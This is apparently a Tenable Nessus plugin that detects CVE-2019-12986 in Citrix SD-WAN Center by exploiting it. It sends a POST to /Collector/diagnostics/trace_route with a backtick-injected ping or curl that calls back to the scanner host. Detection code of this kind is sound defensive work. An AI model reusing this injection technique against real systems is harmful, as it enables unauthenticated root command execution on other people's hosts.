Vulnerabilities > CVE-2019-12986 - OS Command Injection vulnerability in Citrix Netscaler Sd-Wan and Sd-Wan

#TRUSTED 8412cb6b86610a5922947229c925803e247aff96f8b2536c67ebe7c1b1b5b0b3ff8b8dcdff2e629a332d3c5bd01feddaba2ba7a95f1a974e6cb28bbaafa39087d2ea21b0e220517e5b6eb79333fa6383f8af23ee3e3ddcd0f2f96f01e1fdceb0e86063a92199e94abbb9e9305f743ff5d1a5a46787d5c40ab5ae53a40b2a25a654d3ce483164fa3c5a7d888ed4af2dab2527d9fc024b4576aebdfc0f3f8b300354c2aed4a58c6376f03100c4cb50c9c5adbf8d1ee308577a2549c5e706b1d7ec7e178157fd29e8e99db5186178d5cdc30bf504cb6b1737bde1334579c358c5e0aad283ddeef5ae532e42b23c94c1b98443a896275ba6916de03b1d6f9fa1b21c087bfd3ccf07d029771c2b3fb5e8216964ba8b2cf53aa1bcef98248cc94a82a03bec8a43158c38058b91fb30f7d3df73f524dbbd539d5775ea2ffd84ccc9ef1a43d0e83960fa04321193efdc086ae3e0c8d6a920f0b8ae14d2966b004d8276a2846bf23fdb1b42dae174427a2be498f8d180f435e86e3c86d9a7567e49f25edfb528054bf504780f493b1cede7a7d373d9e3ba00eb16262fe674d26eee74612e2315c8382cfd2357b9b04d127c9858fd19931ac35a81d6daac9a89707cab46ed78503184f22f4b1a4fd62a02b4a5131bff2bb465e8098d4643ec8ad951d23afb219c77e6328590bd72f467db9243e3fe80d24a75ec5b3faa4c7232b8d6069d0b
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(132103);
  script_version("1.4");
  script_cvs_date("Date: 2019/12/19");

  script_cve_id("CVE-2019-12986");
  script_bugtraq_id(109133);
  script_xref(name:"TRA", value:"TRA-2019-31");

  script_name(english:"Citrix SD-WAN Center trace_route Unauthenticated Remote Command Injection");
  script_summary(english:"Attempts to execute a command on the remote host.");

  script_set_attribute(attribute:"synopsis", value:
"The remote host is affected by a remote command injection vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote Citrix SD-WAN Center is affected by a remote command injection vulnerability due to improper
sanitization of user-supplied input in the trace_route action of DiagnosticController. An unauthenticated, remote
attacker can exploit this, via a specially crafted HTTP request, to execute arbitrary commands on the remote host with
root privileges.

Note that Nessus can perform an additional check for this vulnerability. To do so, re-run the scan with the setting
'Perform thorough tests (may disrupt your network or impact scan speed)' enabled.");
  script_set_attribute(attribute:"see_also", value:"https://support.citrix.com/article/CTX251987");
  # https://www.tenable.com/blog/multiple-vulnerabilities-found-in-citrix-sd-wan-center-and-sd-wan-appliances
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?a1b1f9a7");
  # https://medium.com/tenable-techblog/an-exploit-chain-against-citrix-sd-wan-709db08fb4ac
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?e0e0f39e");
  script_set_attribute(attribute:"see_also", value:"https://github.com/tenable/poc");
  script_set_attribute(attribute:"solution", value:
"Upgrade to version 10.2.3 or later");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2019-12986");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2019/07/02");
  script_set_attribute(attribute:"patch_publication_date", value:"2019/06/11");
  script_set_attribute(attribute:"plugin_publication_date", value:"2019/12/18");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"x-cpe:/a:citrix:sd-wan-center");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2019 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("citrix_sdwan_center_detect.nbin");
  script_require_keys("installed_sw/Citrix SD-WAN Center");
  script_require_ports("Services/www", 80, 443);

  exit(0);
}

include('audit.inc');
include('global_settings.inc');
include('install_func.inc');
include('misc_func.inc');
include('http.inc');
include('spad_log_func.inc');

##
# RCE exploitation of the trace_route action in DiagnosticController with an injected ping
#
# @remark Check RCE by suppling a ping command containing specific padding data to the trace_route action in DiagnosticController
#
# @return array containing: a boolean that is true if the SD-WAN center is
# vulnerable as well as information for security report if necessary.
##
function check_ping() {
  var ping_injection = 'ipAddress=%60ping+-c+10+-p+' + pattern + '+' + compat::this_host() + '%60';

  var ping_request =
    'POST /Collector/diagnostics/trace_route HTTP/1.1\r\n' +
    'Host: ' + get_host_ip() + ':' + port + '\r\n' +
    'Content-Type: application/x-www-form-urlencoded\r\n' +
    'Content-Length: ' + len(ping_injection) + '\r\n' +
    '\r\n' +
    ping_injection;

  spad_log(message:'Attempting to inject ping with:\n' + ping_request + '\n');


  var soc = open_sock_tcp(port);
  if (!soc)
    audit(AUDIT_SOCK_FAIL, port);

  var filter = 'icmp and icmp[0] = 8 and src host ' + get_host_ip();
  var ping_response = send_capture(socket:soc, data:ping_request, pcap_filter:filter);
  close(soc);

  if (empty_or_null(ping_response))
  {
    spad_log(message:'The ICMP response was empty or null\n');
    return {'vuln':false};
  }

  var icmp_data = toupper(hexstr(get_icmp_element(icmp:ping_response, element:'data')));
  spad_log(message:'Received ping with data: \n' + icmp_data);

  if (empty_or_null(icmp_data) || (pattern >!< icmp_data))
    return {'vuln':false};

  var rep_extra = '\nThe following command was executed on the vulnerable host:\n\n'
    + 'ping+-c+10+-p+' + pattern + '+' + compat::this_host();
  return {'vuln':true, 'request':make_list(ping_request), 'rep_extra':rep_extra};
}

##
# RCE exploitation of the trace_route action in DiagnosticController with an injected curl
#
# @remark Check RCE by suppling a curl command to the trace_route action in DiagnosticController
#
# @return array containing: a boolean that is true if the SD-WAN center is
# vulnerable as well as information for security report if necessary.
##
function check_curl() {
  # Open TCP socket on server to get back connections from targets
  var bind_result = bind_sock_tcp();

  if (isnull(bind_result))
    audit(AUDIT_SOCK_FAIL, port);

  var bind_sock = bind_result[0];
  var bind_port = bind_result[1];

  spad_log(message:'Attempting exploitation with back connect port: ' + bind_port + '\n');

  var curl_injection = 'ipAddress=%60curl+' + compat::this_host() + ':' + bind_port + '/Nessus' + pattern + '%60';

  var post_response = http_send_recv3(
    method        : 'POST',
    item          : '/Collector/diagnostics/trace_route',
    port          : port,
    content_type  : 'application/x-www-form-urlencoded',
    data          : curl_injection
  );

  var request_sent = http_last_sent_request();
  spad_log(message:'Attempted to inject curl with the following request:\n' + request_sent);

  if (!empty_or_null(post_response))
    spad_log(message:'The POST response was:\n' + post_response + '\n');

  # Listen for HTTP connect back
  var accept_sock = sock_accept(socket:bind_sock, timeout:10);
  if (!accept_sock)
  {
    close(bind_sock);
    spad_log(message:'Did not receive a connect back.\n');
    return {'vuln':false};
  }

  var curl_response = recv(socket:accept_sock, length:1024);

  if (empty_or_null(curl_response))
  {
    close(accept_sock);
    close(bind_sock);
    spad_log(message:'Empty response.\n');
    return {'vuln':false};
  }

  spad_log(message:'Successful connect back, received response: \n' + curl_response);

  close(accept_sock);
  close(bind_sock);

  if ('Nessus' + pattern >!< curl_response)
    return {'vuln':false};

  var rep_extra = '\nSuccessful connect back, received response:\n\n' + curl_response;
  return {'vuln':true, 'request':make_list(request_sent), 'rep_extra':rep_extra};
}

#
# Main
#

app_name = 'Citrix SD-WAN Center';
# Exit if app is not detected on the target host
get_install_count(app_name:app_name, exit_if_zero:TRUE);
port = get_http_port(default:443);

# Exit if app is not detected  on this port
get_single_install(
  app_name : app_name,
  port     : port
);

# Generate a random pattern for the payload to prove the vulnerability
pattern = rand_str(length:8, charset:'0123456789ABCDEF');
spad_log(message:'The pattern for exploit identification is: ' + pattern + '\n');

# Try to inject and detect a ping with the pattern
result = check_ping();

# If the ping injection did not succeed and thorough tests is enabled, try to
# inject curl and listen for an incoming request.
if (!result['vuln'] && thorough_tests)
  result = check_curl();

# If the command injection did not succeed, then audit as not vulnerable.
if (!result['vuln'])
  audit(AUDIT_LISTEN_NOT_VULN, app_name, port);

# Otherwise, a command injection succeeded so report it as vulnerable
security_report_v4(
  port: port,
  severity: SECURITY_HOLE,
  generic: TRUE,
  request: result['request'],
  rep_extra: result['rep_extra']
);